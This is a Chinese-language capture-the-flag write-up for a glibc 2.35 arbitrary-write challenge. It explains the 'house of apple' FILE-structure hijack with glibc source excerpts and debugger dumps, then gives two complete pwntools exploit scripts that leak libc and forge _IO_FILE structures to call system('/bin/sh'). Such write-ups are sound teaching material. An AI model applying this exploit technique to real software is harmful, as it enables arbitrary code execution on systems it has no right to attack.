【 ? 】Write Where?
别问,问就是 IO_FILE,什么?还不知道?看看苹果房子吧,他会帮助你的。
由于题目用的是 glibc-2.35 许多传统的方法都被 ban 了,但是还是有人研究的许多新的利用方法,本题的预期解就是利用 house of apple 中的 IO 利用链(在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流)。
准备
题目给了 glibc 和 ld ,可以用 patchelf 为题目附件更换 libc
chmod +x ./pwn ./libc.so.6 ./ld-linux-x86-64.so.2
patchelf --replace-needed libc.so.6 ./libc.so.6 pwn
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn
程序分析
程序很简单:


可以利用 puts_addr 得到 libc 地址,接下来就是任意写,写哪里呢?由于开了 PIE ,偏移的基址得不到,栈的基地址也得不到,那么可以下手的地方就 libc 。
上面也提及了本题的预期解就是利用 house of apple 中的 IO 利用链(在劫持_IO_FILE->_wide_data的基础上,直接控制程序执行流。)
部分 IO 保护源代码:
if ((
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 &&
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
)
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #cond.6
#define _IO_CURRENTLY_PUTTING 0x0800
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f); #call this
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
IO_FILE 部分重要的结构:
pwndbg> p *((FILE*)_IO_list_all)
$4 = {
_flags = 996700960, #0x3b687320 & 0x0008 and & 0x0800 == 0
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x74d6ab050d70 <__libc_system>,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x74d6ab21b6d8 <_IO_2_1_stderr_+56>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x74d6ab21b690,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}
pwndbg> p *((FILE*)_IO_list_all)._wide_data
$5 = {
_IO_read_ptr = 0x3b687320 <error: Cannot access memory at address 0x3b687320>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x1 <error: Cannot access memory at address 0x1>,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x74d6ab050d70 <__libc_system>,
step_data = {
__outbuf = 0x0,
__outbufend = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
__flags = 0,
__invocation_counter = 0,
__internal_use = -1423853864,
__statep = 0xffffffffffffffff,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x74d6ab21b690,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"\xab2170c0",
_wide_vtable = 0x74d6ab21b690
}
exp
题解一
利用链:
puts -> __xsputn -> 伪造为 _IO_wfile_overflow
IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

利用 _IO_wfile_overflow 函数控制程序执行流:
_flags=~(2 | 0x8 | 0x800)vtable=_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap的地址(加减偏移)_wide_data= 可控堆地址A(即满足*(fp+0xa0)=A)_wide_data->_IO_write_base=0(即满足*(A+0x18)=0)_wide_data->_IO_buf_base=0(即满足*(A+0x30)=0)_wide_data->_wide_vtable= 可控堆地址B(即满足*(A+0xe0)=B)_wide_data->_wide_vtable->doallocate= 地址C,用于劫持RIP(即满足*(B+0x68)=C)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p = process('./pwn')
# p = remote('202.199.6.66', 37306)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# leak libc base
p.recvuntil('0x')
put_addr = int(p.recvline(), 16)
libc.address = put_addr - libc.symbols['puts']
success("puts addr: " + hex(put_addr))
success("libc base: " + hex(libc.address))
# 覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针
stdout_addr = libc.symbols['_IO_2_1_stdout_']
success("stdout addr: " + hex(stdout_addr))
p.send(p64(stdout_addr))
A = stdout_addr
B = stdout_addr
# 利用链
# puts -> __xsputn -> 伪造为 _IO_wfile_overflow
# _IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
fake = FileStructure(0)
fake.flags = b"\xf5\xf7;\sh;\x00" # _flags = ~(2 | 0x8 | 0x800) (由于要布置 \sh;,进行了一点修改)
fake._lock = libc.symbols['_IO_stdfile_1_lock'] # 绕过检测
fake._wide_data = A # 满足 *(fp+0xa0)=A
fake.chain = libc.symbols['system'] # 满足 *(B+0x68)=C
fake.vtable = libc.symbols['_IO_wfile_jumps'] - 0x20 # vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)
# 自动会用 0x00 填充,所以这里不用管
# ● _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0)
# ● _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0)
fake = flat({
0: bytes(fake),
0xe0: B # 满足 *(A+0xe0)=B
})
# gdb.attach(p, 'b system')
p.send(fake)
p.interactive()
题解二
调用链
_IO_flush_all -> _IO_flush_all_lockp -> [_IO_wdefault_xsgetn](IO_wstrn_jumps) (伪造)
_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
path = './pwn'
p = process(path)
#p = remote('202.199.6.66', 39964)
elf = ELF(path)
libc = ELF('./libc.so.6')
p.recvuntil(b'puts_addr: ')
puts_address = int(p.recvline()[:-1], 16)
log.success(f'puts_address: {hex(puts_address)}')
libc.address = puts_address - libc.sym['puts']
log.success(f'libc.address: {hex(libc.address)}')
fp_address = libc.sym['_IO_list_all'] + 0x10
log.success(f'fp_address: {hex(fp_address)}')
fake = FileStructure(0)
fake._IO_write_ptr = 1 #mode = 0
fake._IO_write_base = 0 #cond.1 (fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
fake._lock = fp_address + 0x48 #cond.2 _IO_flockfile (fp); _lock address vaild
fake._wide_data = fp_address #cond.3 vtable address(_wide_data)
fake.chain = libc.sym['system'] #cond.4 vtable(*(_wide_data+0xe0))+0x68 -> win_address
fake.vtable = (libc.sym['_IO_wfile_jumps']+24) - 0x18 #cond.5 _IO_wfile_overflow <_IO_flush_all_lockp+223> call qword ptr [rax + 0x18]
fake.flags = b' '*8 #cond.6 0x7b262828639e <_IO_wfile_overflow+14> mov eax, dword ptr [rdi] EAX, [0x7b262841b690] => 0x6e69622f
# ► 0x7b26282863a0 <_IO_wfile_overflow+16> test al, 8 0x2f & 0x8 EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
# 0x7b26282863a2 <_IO_wfile_overflow+18> ✔ jne _IO_wfile_overflow+304 <_IO_wfile_overflow+304>
fake._IO_read_ptr = b'/bin/sh\x00' #空格填充后接着填入 /bin/sh
fake = flat({
0:bytes(fake),
0xe0:fp_address #cond.4
})
payload = p64(fp_address) + p64(0) + bytes(fake)
p.recvuntil(b'Write where?\n')
p.send(p64(libc.sym['_IO_list_all']))
# gdb.attach(p, 'b _IO_flush_all_lockp')
p.send(bytes(payload))
p.interactive()